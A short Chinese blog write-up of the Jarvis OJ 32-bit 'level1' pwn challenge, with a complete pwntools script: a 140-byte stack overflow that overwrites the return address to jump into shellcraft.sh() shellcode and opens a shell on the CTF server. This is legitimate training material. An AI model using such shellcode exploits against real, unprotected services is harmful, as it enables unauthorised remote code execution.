32位pwn题目(听说出题人送shellcode?)
呈上链接:
https://files.cnblogs.com/files/Magpie/level1.rar
nc pwn2.jarvisoj.com 9877
先看一下保护:
竟然什么都没开......所以...
扔进IDA找到溢出点就可以开始食用了:
选中的函数即为存在溢出点的函数:
出题人可以说......是把通往shell的钥匙贴在脸上了。。
特意烹制了一条printf告诉你栈的具体内存地址,shellcode了解一哈...
直接上exp吧:
1 from pwn import * 2 context(arch = 'i386', os = 'linux') 3 r = remote('pwn2.jarvisoj.com', 9877) 4 # EXPLOIT CODE GOES HERE 5 ech=r.recvline() 6 print ech+'##############' 7 shellcode=asm(shellcraft.sh()) 8 retaddr=int(input('pls ipt=echaddr+0x88+0x08:')) 9 print p32(retaddr) 10 payload='A'*140+p32(retaddr)+shellcode 11 r.send(payload) 12 r.interactive()
写这段的时候由于初学pwntools,还不太熟练。。
所以,,代码很丑就不说了~